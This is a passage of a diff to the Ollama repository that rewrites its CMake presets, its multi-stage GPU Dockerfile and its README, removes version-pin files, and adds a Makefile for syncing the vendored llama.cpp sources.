+      "targets": [ "ggml-cpu" ]
+    },
+    {
+      "name": "CUDA",
+      "configurePreset": "CUDA",
+      "targets": [ "ggml-cuda" ]
+    },
+    {
+      "name": "CUDA 11",
+      "inherits": [ "CUDA" ],
+      "configurePreset": "CUDA 11"
+    },
+    {
+      "name": "CUDA 12",
+      "inherits": [ "CUDA" ],
+      "configurePreset": "CUDA 12"
+    },
+    {
+      "name": "CUDA 13",
+      "inherits": [ "CUDA" ],
+      "configurePreset": "CUDA 13"
+    },
+    {
+      "name": "JetPack 5",
+      "inherits": [ "CUDA" ],
+      "configurePreset": "JetPack 5"
+    },
+    {
+      "name": "JetPack 6",
+      "inherits": [ "CUDA" ],
+      "configurePreset": "JetPack 6"
+    },
+    {
+      "name": "ROCm",
+      "configurePreset": "ROCm",
+      "targets": [ "ggml-hip" ]
+    },
+    {
+      "name": "ROCm 6",
+      "inherits": [ "ROCm" ],
+      "configurePreset": "ROCm 6"
+    },
+    {
+      "name": "Vulkan",
+      "targets": [ "ggml-vulkan" ],
+      "configurePreset": "Vulkan"
+    },
+    {
+      "name": "MLX",
+      "targets": [ "mlx", "mlxc" ],
+      "configurePreset": "MLX"
+    },
+    {
+      "name": "MLX CUDA 12",
+      "targets": [ "mlx", "mlxc" ],
+      "configurePreset": "MLX CUDA 12"
+    },
+    {
+      "name": "MLX CUDA 13",
+      "targets": [ "mlx", "mlxc" ],
+      "configurePreset": "MLX CUDA 13"
     }
   ]
 }

Dockerfile

@@ -1,207 +1,140 @@
 # vim: filetype=dockerfile
 
 ARG FLAVOR=${TARGETARCH}
+ARG PARALLEL=8
 
-ARG ROCMVERSION=7.2.1
+ARG ROCMVERSION=6.3.3
 ARG JETPACK5VERSION=r35.4.1
 ARG JETPACK6VERSION=r36.4.0
 ARG CMAKEVERSION=3.31.2
-ARG NINJAVERSION=1.12.1
 ARG VULKANVERSION=1.4.321.1
 
-# Default empty stages for local MLX source overrides.
-# Override with: docker build --build-context local-mlx=../mlx --build-context local-mlx-c=../mlx-c
-FROM scratch AS local-mlx
-FROM scratch AS local-mlx-c
-
+# We require gcc v10 minimum.  v10.3 has regressions, so the rockylinux 8.5 AppStream has the latest compatible version
 FROM --platform=linux/amd64 rocm/dev-almalinux-8:${ROCMVERSION}-complete AS base-amd64
-RUN dnf install -y yum-utils ccache gcc-toolset-13-gcc gcc-toolset-13-gcc-c++ gcc-toolset-13-binutils \
+RUN yum install -y yum-utils \
+    && yum-config-manager --add-repo https://dl.rockylinux.org/vault/rocky/8.5/AppStream/\$basearch/os/ \
+    && rpm --import https://dl.rockylinux.org/pub/rocky/RPM-GPG-KEY-Rocky-8 \
+    && dnf install -y yum-utils ccache gcc-toolset-10-gcc-10.2.1-8.2.el8 gcc-toolset-10-gcc-c++-10.2.1-8.2.el8 gcc-toolset-10-binutils-2.35-11.el8 \
+    && dnf install -y ccache \
     && yum-config-manager --add-repo https://developer.download.nvidia.com/compute/cuda/repos/rhel8/x86_64/cuda-rhel8.repo
-ENV PATH=/opt/rh/gcc-toolset-13/root/usr/bin:$PATH
+ENV PATH=/opt/rh/gcc-toolset-10/root/usr/bin:$PATH
+ARG VULKANVERSION
+RUN wget https://sdk.lunarg.com/sdk/download/${VULKANVERSION}/linux/vulkansdk-linux-x86_64-${VULKANVERSION}.tar.xz -O /tmp/vulkansdk-linux-x86_64-${VULKANVERSION}.tar.xz \
+    && tar xvf /tmp/vulkansdk-linux-x86_64-${VULKANVERSION}.tar.xz \
+    && dnf -y install ninja-build \
+    && ln -s /usr/bin/python3 /usr/bin/python \  
+    && /${VULKANVERSION}/vulkansdk -j 8 vulkan-headers \
+    && /${VULKANVERSION}/vulkansdk -j 8 shaderc
+RUN cp -r /${VULKANVERSION}/x86_64/include/* /usr/local/include/ \
+    && cp -r /${VULKANVERSION}/x86_64/lib/* /usr/local/lib
+ENV PATH=/${VULKANVERSION}/x86_64/bin:$PATH
 
 FROM --platform=linux/arm64 almalinux:8 AS base-arm64
 # install epel-release for ccache
 RUN yum install -y yum-utils epel-release \
-    && dnf install -y clang ccache git \
+    && dnf install -y clang ccache \
     && yum-config-manager --add-repo https://developer.download.nvidia.com/compute/cuda/repos/rhel8/sbsa/cuda-rhel8.repo
 ENV CC=clang CXX=clang++
 
 FROM base-${TARGETARCH} AS base
 ARG CMAKEVERSION
-ARG NINJAVERSION
 RUN curl -fsSL https://github.com/Kitware/CMake/releases/download/v${CMAKEVERSION}/cmake-${CMAKEVERSION}-linux-$(uname -m).tar.gz | tar xz -C /usr/local --strip-components 1
-RUN dnf install -y unzip \
-    && curl -fsSL -o /tmp/ninja.zip https://github.com/ninja-build/ninja/releases/download/v${NINJAVERSION}/ninja-linux$([ "$(uname -m)" = "aarch64" ] && echo "-aarch64").zip \
-    && unzip /tmp/ninja.zip -d /usr/local/bin \
-    && rm /tmp/ninja.zip
-ENV CMAKE_GENERATOR=Ninja
 ENV LDFLAGS=-s
 
-#
-# GPU toolchain stages — provide compilers for llama-server GPU builds
-#
+FROM base AS cpu
+RUN dnf install -y gcc-toolset-11-gcc gcc-toolset-11-gcc-c++
+ENV PATH=/opt/rh/gcc-toolset-11/root/usr/bin:$PATH
+ARG PARALLEL
+COPY CMakeLists.txt CMakePresets.json .
+COPY ml/backend/ggml/ggml ml/backend/ggml/ggml
+RUN --mount=type=cache,target=/root/.ccache \
+    cmake --preset 'CPU' \
+        && cmake --build --parallel ${PARALLEL} --preset 'CPU' \
+        && cmake --install build --component CPU --strip --parallel ${PARALLEL}
 
-FROM base AS cpu-deps
-RUN dnf install -y gcc-toolset-13-gcc gcc-toolset-13-gcc-c++
-ENV PATH=/opt/rh/gcc-toolset-13/root/usr/bin:$PATH
+FROM base AS cuda-11
+ARG CUDA11VERSION=11.8
+RUN dnf install -y cuda-toolkit-${CUDA11VERSION//./-}
+ENV PATH=/usr/local/cuda-11/bin:$PATH
+ARG PARALLEL
+COPY CMakeLists.txt CMakePresets.json .
+COPY ml/backend/ggml/ggml ml/backend/ggml/ggml
+RUN --mount=type=cache,target=/root/.ccache \
+    cmake --preset 'CUDA 11' \
+        && cmake --build --parallel ${PARALLEL} --preset 'CUDA 11' \
+        && cmake --install build --component CUDA --strip --parallel ${PARALLEL}
 
-FROM base AS cuda-12-deps
+FROM base AS cuda-12
 ARG CUDA12VERSION=12.8
 RUN dnf install -y cuda-toolkit-${CUDA12VERSION//./-}
 ENV PATH=/usr/local/cuda-12/bin:$PATH
+ARG PARALLEL
+COPY CMakeLists.txt CMakePresets.json .
+COPY ml/backend/ggml/ggml ml/backend/ggml/ggml
+RUN --mount=type=cache,target=/root/.ccache \
+    cmake --preset 'CUDA 12' \
+        && cmake --build --parallel ${PARALLEL} --preset 'CUDA 12' \
+        && cmake --install build --component CUDA --strip --parallel ${PARALLEL}
 
-FROM base AS cuda-13-deps
+
+FROM base AS cuda-13
 ARG CUDA13VERSION=13.0
 RUN dnf install -y cuda-toolkit-${CUDA13VERSION//./-}
 ENV PATH=/usr/local/cuda-13/bin:$PATH
-
-FROM base AS rocm-7-deps
-ENV PATH=/opt/rocm/llvm/bin:/opt/rocm/hcc/bin:/opt/rocm/hip/bin:/opt/rocm/bin:$PATH
-
-FROM base AS vulkan-deps
-ARG VULKANVERSION
-RUN ln -s /usr/bin/python3 /usr/bin/python \
-    && wget https://sdk.lunarg.com/sdk/download/${VULKANVERSION}/linux/vulkansdk-linux-x86_64-${VULKANVERSION}.tar.xz -O /tmp/vulkansdk.tar.xz \
-    && tar xvf /tmp/vulkansdk.tar.xz -C /tmp \
-    && /tmp/${VULKANVERSION}/vulkansdk -j 8 vulkan-headers \
-    && /tmp/${VULKANVERSION}/vulkansdk -j 8 spirv-headers \
-    && /tmp/${VULKANVERSION}/vulkansdk -j 8 shaderc \
-    && cp -r /tmp/${VULKANVERSION}/x86_64/include/* /usr/local/include/ \
-    && cp -r /tmp/${VULKANVERSION}/x86_64/lib/* /usr/local/lib \
-    && cp -r /tmp/${VULKANVERSION}/x86_64/share/* /usr/local/share/ \
-    && cp -r /tmp/${VULKANVERSION}/x86_64/bin/* /usr/local/bin/ \
-    && rm -rf /tmp/${VULKANVERSION} /tmp/vulkansdk.tar.xz
-ENV VULKAN_SDK=/usr/local
-
-#
-# llama-server stages — rebuild when LLAMA_CPP_VERSION, llama/server/, or llama/compat/ changes.
-#
-# CPU stage: llama-server + ggml-base + ggml-cpu variants → lib/ollama/
-# GPU stages: GPU backend .so only → lib/ollama/<variant>/
-#
-
-FROM cpu-deps AS llama-server-cpu
-COPY LLAMA_CPP_VERSION .
-COPY llama/server llama/server
-COPY llama/compat llama/compat
+ARG PARALLEL
+COPY CMakeLists.txt CMakePresets.json .
+COPY ml/backend/ggml/ggml ml/backend/ggml/ggml
 RUN --mount=type=cache,target=/root/.ccache \
-    cmake -S llama/server --preset cpu \
-        && cmake --build build/llama-server-cpu -- -l $(nproc) \
-        && cmake --install build/llama-server-cpu --component llama-server --strip \
-        && for lib in \
-            /usr/lib64/libgomp.so* \
-            /usr/lib64/libomp.so* \
-            /opt/rh/gcc-toolset-13/root/usr/lib64/libgomp.so* \
-            /opt/rh/gcc-toolset-13/root/usr/lib64/libomp.so*; do \
-                [ -e "$lib" ] && cp -a "$lib" dist/lib/ollama/ || true; \
-            done
+    cmake --preset 'CUDA 13' \
+        && cmake --build --parallel ${PARALLEL} --preset 'CUDA 13' \
+        && cmake --install build --component CUDA --strip --parallel ${PARALLEL}
 
-FROM scratch AS publish-llama-server-cpu
-COPY --from=llama-server-cpu dist/lib/ollama /lib/ollama/
 
-FROM cuda-12-deps AS llama-server-cuda_v12
-COPY LLAMA_CPP_VERSION .
-COPY llama/server llama/server
-COPY llama/compat llama/compat
+FROM base AS rocm-6
+ENV PATH=/opt/rocm/hcc/bin:/opt/rocm/hip/bin:/opt/rocm/bin:/opt/rocm/hcc/bin:$PATH
+ARG PARALLEL
+COPY CMakeLists.txt CMakePresets.json .
+COPY ml/backend/ggml/ggml ml/backend/ggml/ggml
 RUN --mount=type=cache,target=/root/.ccache \
-    cmake -S llama/server --preset llama_cuda_v12_linux \
-        && cmake --build build/llama-server-cuda_v12 -- -l $(nproc) \
-        && cmake --install build/llama-server-cuda_v12 --component llama-server --strip
-
-FROM scratch AS publish-llama-server-cuda_v12
-COPY --from=llama-server-cuda_v12 dist/lib/ollama /lib/ollama/
-
-FROM cuda-13-deps AS llama-server-cuda_v13
-COPY LLAMA_CPP_VERSION .
-COPY llama/server llama/server
-COPY llama/compat llama/compat
-RUN --mount=type=cache,target=/root/.ccache \
-    cmake -S llama/server --preset llama_cuda_v13_linux \
-        && cmake --build build/llama-server-cuda_v13 -- -l $(nproc) \
-        && cmake --install build/llama-server-cuda_v13 --component llama-server --strip
-
-FROM scratch AS publish-llama-server-cuda_v13
-COPY --from=llama-server-cuda_v13 dist/lib/ollama /lib/ollama/
-
-FROM rocm-7-deps AS llama-server-rocm_v7_2
-ENV CC=clang CXX=clang++ CXXFLAGS=--gcc-toolchain=/opt/rh/gcc-toolset-13/root/usr
-COPY LLAMA_CPP_VERSION .
-COPY llama/server llama/server
-COPY llama/compat llama/compat
-RUN --mount=type=cache,target=/root/.ccache \
-    cmake -S llama/server --preset rocm_v7_2_linux \
-        && cmake --build build/llama-server-rocm_v7_2 -- -l $(nproc) \
-        && cmake --install build/llama-server-rocm_v7_2 --component llama-server --strip
-RUN rm -f dist/lib/ollama/rocm_v7_2/rocblas/library/*gfx90[06]*
-
-FROM scratch AS publish-llama-server-rocm_v7_2
-COPY --from=llama-server-rocm_v7_2 dist/lib/ollama /lib/ollama/
-
-FROM vulkan-deps AS llama-server-vulkan
-COPY LLAMA_CPP_VERSION .
-COPY llama/server llama/server
-COPY llama/compat llama/compat
-RUN --mount=type=cache,target=/root/.ccache \
-    cmake -S llama/server --preset vulkan \
-        && cmake --build build/llama-server-vulkan -- -l $(nproc) \
-        && cmake --install build/llama-server-vulkan --component llama-server --strip
-
-FROM scratch AS publish-llama-server-vulkan
-COPY --from=llama-server-vulkan dist/lib/ollama /lib/ollama/
-
-#
-# JetPack stages — self-contained with their own base images
-#
+    cmake --preset 'ROCm 6' \
+        && cmake --build --parallel ${PARALLEL} --preset 'ROCm 6' \
+        && cmake --install build --component HIP --strip --parallel ${PARALLEL}
+RUN rm -f dist/lib/ollama/rocm/rocblas/library/*gfx90[06]*
 
 FROM --platform=linux/arm64 nvcr.io/nvidia/l4t-jetpack:${JETPACK5VERSION} AS jetpack-5
 ARG CMAKEVERSION
-ARG NINJAVERSION
-RUN apt-get update && apt-get install -y curl ccache git unzip \
-    && curl -fsSL https://github.com/Kitware/CMake/releases/download/v${CMAKEVERSION}/cmake-${CMAKEVERSION}-linux-$(uname -m).tar.gz | tar xz -C /usr/local --strip-components 1 \
-    && curl -fsSL -o /tmp/ninja.zip https://github.com/ninja-build/ninja/releases/download/v${NINJAVERSION}/ninja-linux-aarch64.zip \
-    && unzip /tmp/ninja.zip -d /usr/local/bin \
-    && rm /tmp/ninja.zip
-ENV CMAKE_GENERATOR=Ninja
-COPY LLAMA_CPP_VERSION .
-COPY llama/server llama/server
-COPY llama/compat llama/compat
+RUN apt-get update && apt-get install -y curl ccache \
+    && curl -fsSL https://github.com/Kitware/CMake/releases/download/v${CMAKEVERSION}/cmake-${CMAKEVERSION}-linux-$(uname -m).tar.gz | tar xz -C /usr/local --strip-components 1
+COPY CMakeLists.txt CMakePresets.json .
+COPY ml/backend/ggml/ggml ml/backend/ggml/ggml
+ARG PARALLEL
 RUN --mount=type=cache,target=/root/.ccache \
-    cmake -S llama/server --preset llama_cuda_jetpack5 \
-        && cmake --build build/llama-server-cuda_jetpack5 -- -l $(nproc) \
-        && cmake --install build/llama-server-cuda_jetpack5 --component llama-server --strip
-
-FROM scratch AS publish-llama-server-cuda_jetpack5
-COPY --from=jetpack-5 dist/lib/ollama /lib/ollama/
+    cmake --preset 'JetPack 5' \
+        && cmake --build --parallel ${PARALLEL} --preset 'JetPack 5' \
+        && cmake --install build --component CUDA --strip --parallel ${PARALLEL}
 
 FROM --platform=linux/arm64 nvcr.io/nvidia/l4t-jetpack:${JETPACK6VERSION} AS jetpack-6
 ARG CMAKEVERSION
-ARG NINJAVERSION
-RUN apt-get update && apt-get install -y curl ccache git unzip \
-    && curl -fsSL https://github.com/Kitware/CMake/releases/download/v${CMAKEVERSION}/cmake-${CMAKEVERSION}-linux-$(uname -m).tar.gz | tar xz -C /usr/local --strip-components 1 \
-    && curl -fsSL -o /tmp/ninja.zip https://github.com/ninja-build/ninja/releases/download/v${NINJAVERSION}/ninja-linux-aarch64.zip \
-    && unzip /tmp/ninja.zip -d /usr/local/bin \
-    && rm /tmp/ninja.zip
-ENV CMAKE_GENERATOR=Ninja
-COPY LLAMA_CPP_VERSION .
-COPY llama/server llama/server
-COPY llama/compat llama/compat
+RUN apt-get update && apt-get install -y curl ccache \
+    && curl -fsSL https://github.com/Kitware/CMake/releases/download/v${CMAKEVERSION}/cmake-${CMAKEVERSION}-linux-$(uname -m).tar.gz | tar xz -C /usr/local --strip-components 1
+COPY CMakeLists.txt CMakePresets.json .
+COPY ml/backend/ggml/ggml ml/backend/ggml/ggml
+ARG PARALLEL
 RUN --mount=type=cache,target=/root/.ccache \
-    cmake -S llama/server --preset llama_cuda_jetpack6 \
-        && cmake --build build/llama-server-cuda_jetpack6 -- -l $(nproc) \
-        && cmake --install build/llama-server-cuda_jetpack6 --component llama-server --strip
+    cmake --preset 'JetPack 6' \
+        && cmake --build --parallel ${PARALLEL} --preset 'JetPack 6' \
+        && cmake --install build --component CUDA --strip --parallel ${PARALLEL}
 
-FROM scratch AS publish-llama-server-cuda_jetpack6
-COPY --from=jetpack-6 dist/lib/ollama /lib/ollama/
-
-#
-# MLX stage
-#
+FROM base AS vulkan
+COPY CMakeLists.txt CMakePresets.json .
+COPY ml/backend/ggml/ggml ml/backend/ggml/ggml
+RUN --mount=type=cache,target=/root/.ccache \
+    cmake --preset 'Vulkan' \
+        && cmake --build --parallel --preset 'Vulkan' \
+        && cmake --install build --component Vulkan --strip --parallel 8
 
 FROM base AS mlx
 ARG CUDA13VERSION=13.0
-ARG OLLAMA_MLX_BUILD_JOBS=
-ARG OLLAMA_MLX_NVCC_THREADS=2
-ARG MLX_CUDA_RAM_MB=
 RUN dnf install -y cuda-toolkit-${CUDA13VERSION//./-} \
     && dnf install -y openblas-devel lapack-devel \
     && dnf install -y libcudnn9-cuda-13 libcudnn9-devel-cuda-13 \
@@ -210,34 +143,27 @@ ENV PATH=/usr/local/cuda-13/bin:$PATH
 ENV BLAS_INCLUDE_DIRS=/usr/include/openblas
 ENV LAPACK_INCLUDE_DIRS=/usr/include/openblas
 ENV CGO_LDFLAGS="-L/usr/local/cuda-13/lib64 -L/usr/local/cuda-13/targets/x86_64-linux/lib/stubs"
+ARG PARALLEL
 WORKDIR /go/src/github.com/ollama/ollama
 COPY CMakeLists.txt CMakePresets.json .
-COPY cmake cmake
-COPY mlx mlx
-COPY x/mlxrunner/mlx x/mlxrunner/mlx
+COPY ml/backend/ggml/ggml ml/backend/ggml/ggml
+COPY x/ml/backend/mlx x/ml/backend/mlx
 COPY go.mod go.sum .
-COPY MLX_VERSION MLX_C_VERSION .
 RUN curl -fsSL https://golang.org/dl/go$(awk '/^go/ { print $2 }' go.mod).linux-$(case $(uname -m) in x86_64) echo amd64 ;; aarch64) echo arm64 ;; esac).tar.gz | tar xz -C /usr/local
 ENV PATH=/usr/local/go/bin:$PATH
 RUN go mod download
 RUN --mount=type=cache,target=/root/.ccache \
-    --mount=type=bind,from=local-mlx,target=/tmp/local-mlx \
-    --mount=type=bind,from=local-mlx-c,target=/tmp/local-mlx-c \
-    if [ -f /tmp/local-mlx/CMakeLists.txt ]; then \
-        export OLLAMA_MLX_SOURCE=/tmp/local-mlx; \
-    fi \
-    && if [ -f /tmp/local-mlx-c/CMakeLists.txt ]; then \
-        export OLLAMA_MLX_C_SOURCE=/tmp/local-mlx-c; \
-    fi \
-    && cmake -S . -B build/mlx_cuda_v13 -DOLLAMA_MLX_BACKENDS=cuda_v13 -DBLAS_INCLUDE_DIRS=/usr/include/openblas -DLAPACK_INCLUDE_DIRS=/usr/include/openblas -DCMAKE_CUDA_FLAGS="-t ${OLLAMA_MLX_NVCC_THREADS}" ${MLX_CUDA_RAM_MB:+-DMLX_CUDA_RAM_MB=${MLX_CUDA_RAM_MB}} -DOLLAMA_PAYLOAD_INSTALL_PREFIX=/go/src/github.com/ollama/ollama/dist \
-        && cmake --build build/mlx_cuda_v13 --target ollama-mlx-cuda_v13 -- -l $(nproc) ${OLLAMA_MLX_BUILD_JOBS:+-j ${OLLAMA_MLX_BUILD_JOBS}}
-
-FROM scratch AS publish-mlx
-COPY --from=mlx /go/src/github.com/ollama/ollama/dist/lib/ollama /lib/ollama/
-
-#
-# Go build
-#
+    cmake --preset 'MLX CUDA 13' -DBLAS_INCLUDE_DIRS=/usr/include/openblas -DLAPACK_INCLUDE_DIRS=/usr/include/openblas \
+        && cmake --build --parallel ${PARALLEL} --preset 'MLX CUDA 13' \
+        && cmake --install build --component MLX --strip --parallel ${PARALLEL}
+COPY . .
+ARG GOFLAGS="'-ldflags=-w -s'"
+ENV CGO_ENABLED=1
+ARG CGO_CFLAGS
+ARG CGO_CXXFLAGS
+RUN mkdir -p dist/bin
+RUN --mount=type=cache,target=/root/.cache/go-build \
+    go build -tags mlx -trimpath -buildmode=pie -o dist/bin/ollama-mlx .
 
 FROM base AS build
 WORKDIR /go/src/github.com/ollama/ollama
@@ -250,67 +176,40 @@ ARG GOFLAGS="'-ldflags=-w -s'"
 ENV CGO_ENABLED=1
 ARG CGO_CFLAGS
 ARG CGO_CXXFLAGS
-ENV CGO_CFLAGS="${CGO_CFLAGS}"
-ENV CGO_CXXFLAGS="${CGO_CXXFLAGS}"
 RUN --mount=type=cache,target=/root/.cache/go-build \
     go build -trimpath -buildmode=pie -o /bin/ollama .
 
-FROM scratch AS publish-go
-COPY --from=build /bin/ollama /bin/ollama
-
-#
-# Assembly stages — combine llama-server variants + GPU runtime libs
-#
-
 FROM --platform=linux/amd64 scratch AS amd64
-COPY --from=llama-server-cpu      dist/lib/ollama /lib/ollama/
-COPY --from=llama-server-cuda_v12 dist/lib/ollama /lib/ollama/
-COPY --from=llama-server-cuda_v13 dist/lib/ollama /lib/ollama/
-COPY --from=llama-server-vulkan   dist/lib/ollama /lib/ollama/
+# COPY --from=cuda-11 dist/lib/ollama/ /lib/ollama/
+COPY --from=cuda-12 dist/lib/ollama /lib/ollama/
+COPY --from=cuda-13 dist/lib/ollama /lib/ollama/
+COPY --from=vulkan  dist/lib/ollama  /lib/ollama/
 COPY --from=mlx     /go/src/github.com/ollama/ollama/dist/lib/ollama /lib/ollama/
+COPY --from=mlx     /go/src/github.com/ollama/ollama/dist/bin/ /bin/
 
 FROM --platform=linux/arm64 scratch AS arm64
-COPY --from=llama-server-cpu dist/lib/ollama /lib/ollama/
-COPY --from=llama-server-cuda_v12 dist/lib/ollama /lib/ollama/
-COPY --from=llama-server-cuda_v13 dist/lib/ollama /lib/ollama/
+# COPY --from=cuda-11 dist/lib/ollama/ /lib/ollama/
+COPY --from=cuda-12 dist/lib/ollama /lib/ollama/
+COPY --from=cuda-13 dist/lib/ollama/ /lib/ollama/
 COPY --from=jetpack-5 dist/lib/ollama/ /lib/ollama/
 COPY --from=jetpack-6 dist/lib/ollama/ /lib/ollama/
 
 FROM scratch AS rocm
-COPY --from=llama-server-cpu  dist/lib/ollama /lib/ollama
-COPY --from=llama-server-rocm_v7_2 dist/lib/ollama /lib/ollama
+COPY --from=rocm-6 dist/lib/ollama /lib/ollama
 
-FROM --platform=linux/amd64 scratch AS amd64-archive
-COPY --from=amd64 /lib/ollama /lib/ollama/
-COPY --from=llama-server-rocm_v7_2 dist/lib/ollama /lib/ollama/
-
-FROM --platform=linux/arm64 scratch AS arm64-archive
-COPY --from=arm64 /lib/ollama /lib/ollama/
-
-FROM ${TARGETARCH}-archive AS archive
-COPY --from=build /bin/ollama /bin/ollama
-
-FROM ${FLAVOR} AS image-archive
+FROM ${FLAVOR} AS archive
+ARG VULKANVERSION
+COPY --from=cpu dist/lib/ollama /lib/ollama
 COPY --from=build /bin/ollama /bin/ollama
 
 FROM ubuntu:24.04
-ARG APT_MIRROR=http://archive.ubuntu.com/ubuntu
-ARG APT_PORTS_MIRROR=http://ports.ubuntu.com/ubuntu-ports
-RUN sed -i \
-        -e "s|http://archive.ubuntu.com/ubuntu|$APT_MIRROR|g" \
-        -e "s|http://ports.ubuntu.com/ubuntu-ports|$APT_PORTS_MIRROR|g" \
-        /etc/apt/sources.list.d/ubuntu.sources \
-    && apt-get update \
+RUN apt-get update \
     && apt-get install -y ca-certificates libvulkan1 libopenblas0 \
-    && sed -i \
-        -e "s|$APT_MIRROR|http://archive.ubuntu.com/ubuntu|g" \
-        -e "s|$APT_PORTS_MIRROR|http://ports.ubuntu.com/ubuntu-ports|g" \
-        /etc/apt/sources.list.d/ubuntu.sources \
     && apt-get clean \
     && rm -rf /var/lib/apt/lists/*
-COPY --from=image-archive /bin /usr/bin
+COPY --from=archive /bin /usr/bin
 ENV PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin
-COPY --from=image-archive /lib/ollama /usr/lib/ollama
+COPY --from=archive /lib/ollama /usr/lib/ollama
 ENV LD_LIBRARY_PATH=/usr/local/nvidia/lib:/usr/local/nvidia/lib64
 ENV NVIDIA_DRIVER_CAPABILITIES=compute,utility
 ENV NVIDIA_VISIBLE_DEVICES=all

LLAMA_CPP_VERSION

@@ -1 +0,0 @@
-b10488

MLX_C_VERSION

@@ -1 +0,0 @@
-fba4470b89073180056c9ea46c443051375f7399

MLX_VERSION

@@ -1 +0,0 @@
-27fec909a3df9e572f5195607a453e273e7d80d0

Makefile.sync

@@ -0,0 +1,76 @@
+UPSTREAM=https://github.com/ggml-org/llama.cpp.git
+WORKDIR=llama/vendor
+FETCH_HEAD=ec98e2002
+
+.PHONY: help
+help:
+	@echo "Available targets:"
+	@echo "    sync                 Sync with upstream repositories"
+	@echo "    checkout             Checkout upstream repository"
+	@echo "    apply-patches        Apply patches to local repository"
+	@echo "    format-patches       Format patches from local repository"
+	@echo "    clean                Clean local repository"
+	@echo
+	@echo "Example:"
+	@echo "    make -f $(lastword $(MAKEFILE_LIST)) clean apply-patches sync"
+
+.PHONY: sync
+sync: llama/build-info.cpp ml/backend/ggml/ggml/src/ggml-metal/ggml-metal-embed.metal
+
+llama/build-info.cpp: llama/build-info.cpp.in llama/llama.cpp
+	sed -e 's|@FETCH_HEAD@|$(FETCH_HEAD)|' <$< >$@
+
+ml/backend/ggml/ggml/src/ggml-metal/ggml-metal-embed.metal: ml/backend/ggml/ggml
+	go generate ./$(@D)
+
+.PHONY: llama/llama.cpp
+llama/llama.cpp: llama/vendor
+	rsync -arvzc --delete -f "include LICENSE" -f "merge $@/.rsync-filter" $(addprefix $<,/LICENSE /) $@
+
+.PHONY: ml/backend/ggml/ggml
+ml/backend/ggml/ggml: llama/vendor
+	rsync -arvzc --delete -f "include LICENSE" -f "merge $@/.rsync-filter" $(addprefix $<,/LICENSE /ggml/) $@
+
+PATCHES=$(wildcard llama/patches/*.patch)
+PATCHED=$(join $(dir $(PATCHES)), $(addsuffix ed, $(addprefix ., $(notdir $(PATCHES)))))
+
+.PHONY: apply-patches
+.NOTPARALLEL:
+apply-patches: $(PATCHED)
+
+llama/patches/.%.patched: llama/patches/%.patch
+	@if git -c user.name=nobody -c 'user.email=<>' -C $(WORKDIR) am -3 $(realpath $<); then \
+		touch $@;                                                                           \
+	else                                                                                    \
+		echo "Patch failed. Resolve any conflicts then continue.";                          \
+		echo "1. Run 'git -C $(WORKDIR) am --continue'";                                    \
+		echo "2. Run 'make -f $(lastword $(MAKEFILE_LIST)) format-patches'";                \
+		echo "3. Run 'make -f $(lastword $(MAKEFILE_LIST)) clean apply-patches'";           \
+		exit 1;                                                                             \
+	fi
+
+.PHONY: checkout
+checkout: $(WORKDIR)
+	git -C $(WORKDIR) fetch
+	git -C $(WORKDIR) checkout -f $(FETCH_HEAD)
+
+$(WORKDIR):
+	git clone $(UPSTREAM) $(WORKDIR)
+
+.PHONY: format-patches
+format-patches: llama/patches
+	git -C $(WORKDIR) format-patch \
+		--no-signature \
+		--no-numbered \
+		--zero-commit \
+		-o $(realpath $<) \
+		$(FETCH_HEAD)
+
+.PHONY: clean
+clean: checkout
+	@git -C $(WORKDIR) am --abort || true
+	$(RM) llama/patches/.*.patched
+
+.PHONY: print-base
+print-base:
+	@echo $(FETCH_HEAD)

README.md

@@ -1,30 +1,20 @@
-<p align="center">
-  <a href="https://ollama.com">
-    <img src="https://github.com/ollama/ollama/assets/3325447/0d0b44e2-8f4a-4e99-9b52-a5c1c741c8f7" alt="ollama" width="200"/>
+<div align="center">
+  <a href="https://ollama.com">
+    <img alt="ollama" width="240" src="https://github.com/ollama/ollama/assets/3325447/0d0b44e2-8f4a-4e99-9b52-a5c1c741c8f7">
   </a>
-</p>
+</div>
 
 # Ollama
 
-Start building with open models.
-
-## Download
+Get up and running with large language models.
 
 ### macOS
 
-```shell
-curl -fsSL https://ollama.com/install.sh | sh
-```
-
-or [download manually](https://ollama.com/download/Ollama.dmg)
+[Download](https://ollama.com/download/Ollama.dmg)
 
 ### Windows
 
-```shell
-irm https://ollama.com/install.ps1 | iex
-```
-
-or [download manually](https://ollama.com/download/OllamaSetup.exe)
+[Download](https://ollama.com/download/OllamaSetup.exe)
 
 ### Linux
 
@@ -46,311 +36,612 @@ The official [Ollama Docker image](https://hub.docker.com/r/ollama/ollama) `olla
 ### Community
 
 - [Discord](https://discord.gg/ollama)
-- [𝕏 (Twitter)](https://x.com/ollama)
 - [Reddit](https://reddit.com/r/ollama)
 
-## Get started
+## Quickstart
 
-```
-ollama
+To run and chat with [Gemma 3](https://ollama.com/library/gemma3):
+
+```shell
+ollama run gemma3
 ```
 
-You'll be prompted to run a model or connect Ollama to your existing agents or applications such as `Claude Code`, `OpenClaw`, `OpenCode` , `Codex`, `Copilot`,  and more.
+## Model library
 
-### Coding
+Ollama supports a list of models available on [ollama.com/library](https://ollama.com/library 'ollama model library')
 
-To launch a specific integration:
+Here are some example models that can be downloaded:
 
-```
-ollama launch claude
+| Model              | Parameters | Size  | Download                         |
+| ------------------ | ---------- | ----- | -------------------------------- |
+| Gemma 3            | 1B         | 815MB | `ollama run gemma3:1b`           |
+| Gemma 3            | 4B         | 3.3GB | `ollama run gemma3`              |
+| Gemma 3            | 12B        | 8.1GB | `ollama run gemma3:12b`          |
+| Gemma 3            | 27B        | 17GB  | `ollama run gemma3:27b`          |
+| QwQ                | 32B        | 20GB  | `ollama run qwq`                 |
+| DeepSeek-R1        | 7B         | 4.7GB | `ollama run deepseek-r1`         |
+| DeepSeek-R1        | 671B       | 404GB | `ollama run deepseek-r1:671b`    |
+| Llama 4            | 109B       | 67GB  | `ollama run llama4:scout`        |
+| Llama 4            | 400B       | 245GB | `ollama run llama4:maverick`     |
+| Llama 3.3          | 70B        | 43GB  | `ollama run llama3.3`            |
+| Llama 3.2          | 3B         | 2.0GB | `ollama run llama3.2`            |
+| Llama 3.2          | 1B         | 1.3GB | `ollama run llama3.2:1b`         |
+| Llama 3.2 Vision   | 11B        | 7.9GB | `ollama run llama3.2-vision`     |
+| Llama 3.2 Vision   | 90B        | 55GB  | `ollama run llama3.2-vision:90b` |
+| Llama 3.1          | 8B         | 4.7GB | `ollama run llama3.1`            |
+| Llama 3.1          | 405B       | 231GB | `ollama run llama3.1:405b`       |
+| Phi 4              | 14B        | 9.1GB | `ollama run phi4`                |
